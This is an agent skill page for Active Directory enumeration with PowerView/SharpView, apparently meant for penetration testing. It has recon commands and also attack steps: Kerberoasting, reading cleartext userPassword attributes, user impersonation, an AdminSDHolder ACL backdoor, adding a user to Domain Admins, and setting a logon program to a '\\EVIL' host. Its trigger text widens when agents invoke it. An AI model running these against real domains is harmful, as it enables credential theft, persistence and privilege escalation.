# Ad Enumeration Powerview

> Active Directory enumeration using PowerView/SharpView. Use this skill whenever the user mentions Active Directory enumeration, AD reconnaissance, PowerView, SharpView, domain security assessment, AD pentesting, finding misconfigurations in AD, Kerberoast, ASREPRoast, or any AD-related security testing. Make sure to use this skill for any AD enumeration task, even if the user doesn't explicitly mention PowerView.

- Skill: `abelrguezr/ad-enumeration-powerview` (Agent Skill, multi-file: 2 files)
- Install (CLI): `npx skillmds@latest add abelrguezr/ad-enumeration-powerview`
- Raw SKILL.md: https://api.skillmd.com/api/skills/abelrguezr/ad-enumeration-powerview/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: abelrguezr (https://skillmd.com/u/abelrguezr)
- Updated: 2026-09-10
- Page: https://skillmd.com/skills/abelrguezr/ad-enumeration-powerview

---


# Active Directory Enumeration with PowerView/SharpView

A comprehensive guide for enumerating Active Directory environments using PowerView and SharpView tools.

## Quick Reference

### Domain Information
```powershell
Get-NetDomain                    # Basic domain info
Get-DomainSID                    # Get domain SID
Get-DomainController             # Domain controller details
Get-ForestDomain                 # All domains in forest
Get-DomainPolicy                 # Domain policy info
```

### User Enumeration
```powershell
Get-NetUser                      # List all users
Get-NetUser -PreauthNotRequired  # ASREPRoastable users
Get-NetUser -SPN                 # Kerberoastable users
Get-NetUser -UACFilter NOT_ACCOUNTDISABLE  # Enabled users
Get-NetUser -LDAPFilter '(sidHistory=*)'   # Users with sidHistory
```

### Group Enumeration
```powershell
Get-NetGroup                     # List all groups
Get-NetGroup -AdminCount         # Admin groups
Get-NetGroupMember -Identity "Domain Admins" -Recurse  # Group members
```

### Computer Enumeration
```powershell
Get-NetComputer                  # List all computers
Get-NetComputer -Unconstrained   # Unconstrained delegation
Get-NetComputer -TrustedToAuth   # Constrained delegation
```

### ACL Analysis
```powershell
Get-ObjectAcl -SamAccountName <user> -ResolveGUIDs  # Object ACLs
Find-InterestingDomainAcl -ResolveGUIDs              # Interesting ACEs
```

### GPO Analysis
```powershell
Get-DomainGPO                    # List all GPOs
Get-DomainGPOLocalGroup          # GPO local group mappings
Get-DomainGPOUserLocalGroupMapping -LocalGroup Administrators  # Who's in local admins
```

### Low-Hanging Fruit
```powershell
Find-LocalAdminAccess            # Find local admin access
Invoke-UserHunter                # Find user locations
Find-DomainUserLocation          # User location finder
Invoke-Kerberoast                # Kerberoast attack
```

## Detailed Enumeration

### Domain Information

```powershell
# Domain Info
Get-Domain                        # Get info about the current domain
Get-NetDomain                     # Get info about the current domain
Get-NetDomain -Domain mydomain.local  # Specific domain
Get-DomainSID                     # Get domain SID

# Policy
Get-DomainPolicy                  # Get info about the policy
(Get-DomainPolicy)."KerberosPolicy"  # Kerberos tickets info
(Get-DomainPolicy)."SystemAccess"    # Password policy
Get-DomainPolicyData              # Same as Get-DomainPolicy

# Domain Controller
Get-DomainController | select Forest, Domain, IPAddress, Name, OSVersion | fl
Get-NetDomainController -Domain mydomain.local

# Forest Info
Get-ForestDomain                  # Get all domains in forest
Get-ForestGlobalCatalog           # Get forest global catalog info
```

### Users

```powershell
# Basic User Info
Get-DomainUser -Properties name, MemberOf | fl
Get-NetUser | select samaccountname, description, pwdlastset, logoncount, badpwdcount
Get-NetUser -UserName student107  # Specific user
Get-NetUser -properties name, description  # Specific properties

# Search Users
Find-UserField -SearchField Description -SearchTerm "built"  # Search in fields

# Security-Relevant Users
Get-DomainUser -Identity * | ? {$_.useraccountcontrol -like '*ENCRYPTED_TEXT_PWD_ALLOWED*'}  # Reversible encryption
Get-NetUser -PreauthNotRequired  # ASREPRoastable users
Get-NetUser -SPN | select serviceprincipalname  # Kerberoastable users
Get-NetUser -SPN | ?{$_.memberof -match 'Domain Admins'}  # Domain admins kerberoastable
Get-NetUser -TrustedToAuth | select userprincipalname, name, msds-allowedtodelegateto  # Constrained delegation
Get-NetUser -AllowDelegation -AdminCount  # Privileged users allowing delegation

# DC Sync Capable Users
Get-ObjectAcl "dc=dev,dc=testlab,dc=local" -ResolveGUIDs | ? {
    ($_.ObjectType -match 'replication-get') -or ($_.ActiveDirectoryRights -match 'GenericAll')
}

# Password Not Required
Get-DomainUser -UACFilter PASSWD_NOTREQD | Select-Object samaccountname,useraccountcontrol

# User Filters
Get-NetUser -UACFilter NOT_ACCOUNTDISABLE -properties distinguishedname  # All enabled users
Get-NetUser -UACFilter ACCOUNTDISABLE  # All disabled users
Get-NetUser -UACFilter SMARTCARD_REQUIRED  # Smart card required
Get-NetUser -UACFilter NOT_SMARTCARD_REQUIRED -Properties samaccountname  # Not smart card
Get-NetUser -LDAPFilter '(sidHistory=*)'  # Users with sidHistory
```

### Groups

```powershell
# Basic Group Info
Get-DomainGroup | where Name -like "*Admin*" | select SamAccountName
Get-NetGroup  # Get all groups
Get-NetGroup -Domain mydomain.local  # Specific domain
Get-NetGroup 'Domain Admins'  # Specific group
Get-NetGroup -AdminCount | select name,memberof,admincount,member | fl  # Admin groups
Get-NetGroup -UserName "myusername"  # Groups of a user

# Group Members
Get-NetGroupMember -Identity "Administrators" -Recurse  # Recursive members
Get-NetGroupMember -Identity "Enterprise Admins" -Domain mydomain.local
Get-NetLocalGroup -ComputerName dc.mydomain.local -ListGroups  # Local groups
Get-NetLocalGroupMember -computername dcorp-dc.dollarcorp.moneycorp.local

# AdminSDHolder
Get-DomainObjectAcl -SearchBase 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -ResolveGUIDs
Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $sid}

# GPO Groups
Get-NetGPOGroup  # Get restricted groups
```

### Computers

```powershell
# Basic Computer Info
Get-DomainComputer -Properties DnsHostName  # All domain computers
Get-NetComputer  # All computer objects
Get-NetComputer -Ping  # Ping to check if online

# Delegation
Get-NetComputer -Unconstrained  # Unconstrained delegation
Get-NetComputer -TrustedToAuth  # Constrained delegation

# Privileged Machine Accounts
Get-DomainGroup -AdminCount | Get-DomainGroupMember -Recurse | ?{$_.MemberName -like '*$'}
```

### Organization Units

```powershell
Get-DomainOU -Properties Name | sort -Property Name  # All OUs
Get-DomainOU "Servers" | %{Get-DomainComputer -SearchBase $_.distinguishedname -Properties Name}
Get-NetOU  # Get Organization Units
Get-NetOU StudentMachines | %{Get-NetComputer -ADSPath $_}
```

### Logon and Sessions

```powershell
Get-NetLoggedon -ComputerName <servername>  # Current logon users (needs admin)
Get-NetSession -ComputerName <servername>  # Active sessions
Get-LoggedOnLocal -ComputerName <servername>  # Local logon users (needs remote registry)
Get-LastLoggedon -ComputerName <servername>  # Last logged on user (needs admin)
Get-NetRDPSession -ComputerName <servername>  # RDP sessions (needs admin)
```

### Group Policy Objects (GPOs)

```powershell
# Basic GPO Info
Get-DomainGPO | select displayName  # GPO names
Get-NetGPO  # All policies with details
Get-NetGPO -ComputerName <servername>  # Policy on specific computer

# GPO Permissions
Get-DomainObjectAcl -SearchBase "CN=Policies,CN=System,DC=dev,DC=invented,DC=io" -ResolveGUIDs | 
  ? { $_.ObjectAceType -eq "Group-Policy-Container" } | 
  select ObjectDN, ActiveDirectoryRights, SecurityIdentifier | fl

# Users with GPO modification rights (RID > 1000)
Get-DomainObjectAcl -LDAPFilter '(objectCategory=groupPolicyContainer)' | ? {
    ($_.SecurityIdentifier -match '^S-1-5-.*-[1-9]\d{3,}$') -and 
    ($_.ActiveDirectoryRights -match 'WriteProperty|GenericAll|GenericWrite|WriteDacl|WriteOwner')
} | select ObjectDN, ActiveDirectoryRights, SecurityIdentifier | fl

# User/Group GPO permissions
$sid=Convert-NameToSid "Domain Users"
Get-DomainGPO | Get-ObjectAcl | ?{$_.SecurityIdentifier -eq $sid}

# GPO Utilities
Get-GPO -Guid 18E5A689-E67F-90B2-1953-198ED4A7F532  # GUID to name
ConvertFrom-SID S-1-5-21-3263068140-2042698922-2891547269-1126  # SID to name
Get-NetGPO -GPOName '{3E04167E-C2B6-4A9A-8FB7-C811158DC97C}'  # GPO by GUID

# Local Group Mappings
Get-DomainGPOLocalGroup | select GPODisplayName, GroupName, GPOType
Get-DomainGPOUserLocalGroupMapping -LocalGroup Administrators | 
  select ObjectName, GPODisplayName, ContainerName, ComputerName
```

### ACL Analysis

```powershell
# Object ACLs
Get-ObjectAcl -SamAccountName <username> -ResolveGUIDs

# Alternative ACL method
$sid = Convert-NameToSid <username/group>
Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $sid}

# File ACLs
Get-PathAcl -Path "\\dc.mydomain.local\sysvol"

# Interesting ACEs
Find-InterestingDomainAcl -ResolveGUIDs  # Unexpected permissions
Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReference -match "RDPUsers"}

# Administrator ACLs
Get-NetGroupMember -GroupName "Administrators" -Recurse | 
  ?{$_.IsGroup -match "false"} | 
  %{Get-ObjectACL -SamAccountName $_.MemberName -ResolveGUIDs} | 
  select ObjectDN, IdentityReference, ActiveDirectoryRights
```

### Shared Files and Folders

```powershell
Get-NetFileServer  # Search file servers
Find-DomainShare -CheckShareAccess  # Search readable shares
Find-InterestingDomainShareFile  # Find interesting files
```

### Domain Trusts

```powershell
Get-NetDomainTrust  # All domain trusts
Get-DomainTrust  # Same
Get-NetForestDomain | Get-NetDomainTrust  # All trusts in forest
Get-DomainTrustMapping  # Enumerate trusts

# Forest Info
Get-ForestDomain  # Basic forest info
Get-ForestGlobalCatalog  # Current forest
Get-ForestGlobalCatalog -Forest external.domain  # External forest
Get-DomainTrust -SearchBase "GC://$($ENV:USERDNSDOMAIN)"

# Forest Trusts
Get-NetForestTrust  # Forest trusts (root to root)

# Foreign Objects
Get-DomainForeingUser  # Users with privileges in other domains
Get-DomainForeignGroupMember  # Groups with privileges in other domains
```

### Low-Hanging Fruit

```powershell
# Clear Text Passwords
$FormatEnumerationLimit=-1
Get-DomainUser -LDAPFilter '(userPassword=*)' -Properties samaccountname,memberof,userPassword | 
  % {Add-Member -InputObject $_ NoteProperty 'Password' 
    "$([System.Text.Encoding]::ASCII.GetString($_.userPassword))" -PassThru} | fl

# Local Admin Access
Find-LocalAdminAccess  # Very noisy, needs RPC and SMB

# WMI Local Admin Access
.\Find-WMILocalAdminAccess.ps1 -ComputerFile .\computers.txt  # If RPC/SMB closed

# GPO Local Admin Mapping
Get-DomainGPOUserLocalGroupMapping -Identity <User/Group>

# Local Admin Enumeration
Invoke-EnumerateLocalAdmin  # Enumerate local admin members
Find-DomainLocalGroupMember

# Unconstrained Delegation
Find-DomainUserLocation -ComputerUnconstrained -ShowAll
Find-DomainUserLocation -ComputerUnconstrained -UserAdminCount -UserAllowDelegation

# User Hunter
Find-DomainUserLocation [-CheckAccess] | select UserName, SessionFromName
Invoke-UserHunter [-CheckAccess]  # Find user locations
Invoke-UserHunter -GroupName "RDPUsers"  # Specific group
Invoke-UserHunter -Stealth  # High traffic servers only
```

### Deleted Objects

```powershell
# Requires AD Recycle Bin group membership
Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *
```

### Utilities

#### SID to Name
```powershell
"S-1-5-21-1874506631-3219952063-538504511-2136" | Convert-SidToName
```

#### Kerberoast
```powershell
Invoke-Kerberoast [-Identity websvc]  # Without -Identity, kerberoast all possible users
```

#### Use Different Credentials
```powershell
$SecPassword = ConvertTo-SecureString 'Password' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('DOMAIN\user', $SecPassword)
Get-DomainUser -Credential $Cred
```

#### Impersonate a User
```powershell
# Requires -sta mode
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Invoke-UserImpersonation -Credential $Cred
# ... perform actions ...
Invoke-RevertToSelf
```

#### Set Values
```powershell
# Set user property
Set-DomainObject testuser -Set @{'mstsinitialprogram'='\\EVIL\program.exe'} -Verbose

# Set object owner
Set-DomainObjectOwner -Identity dfm -OwnerIdentity harmj0y

# Backdoor ACLs through AdminSDHolder
Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' 
  -PrincipalIdentity matt -Rights All

# Add user to group
Add-NetGroupUser -Username username -GroupName 'Domain Admins' -Domain my.domain.local
```

## Common Attack Vectors

### ASREPRoast
Users with pre-authentication not required can have their passwords cracked offline.
```powershell
Get-NetUser -PreauthNotRequired
```

### Kerberoast
Users with SPNs can have their TGS tickets requested and cracked.
```powershell
Get-NetUser -SPN
Invoke-Kerberoast
```

### Unconstrained Delegation
Computers with unconstrained delegation can capture admin credentials.
```powershell
Get-NetComputer -Unconstrained
Find-DomainUserLocation -ComputerUnconstrained -ShowAll
```

### ACL Abuse
Interesting ACLs can lead to privilege escalation.
```powershell
Find-InterestingDomainAcl -ResolveGUIDs
```

### GPO Abuse
GPO permissions can be abused for persistence and privilege escalation.
```powershell
Get-DomainGPOUserLocalGroupMapping -LocalGroup Administrators
```

## Safety Notes

- **Authorization Required**: Only use these tools on systems you own or have explicit permission to test.
- **Noisy Operations**: Commands like `Find-LocalAdminAccess` are very noisy and will trigger alerts.
- **Privilege Requirements**: Many commands require domain user or admin privileges.
- **Legal Compliance**: Ensure compliance with all applicable laws and regulations.

## Resources

- PowerView: https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1
- SharpView: https://github.com/tevora-threat/SharpView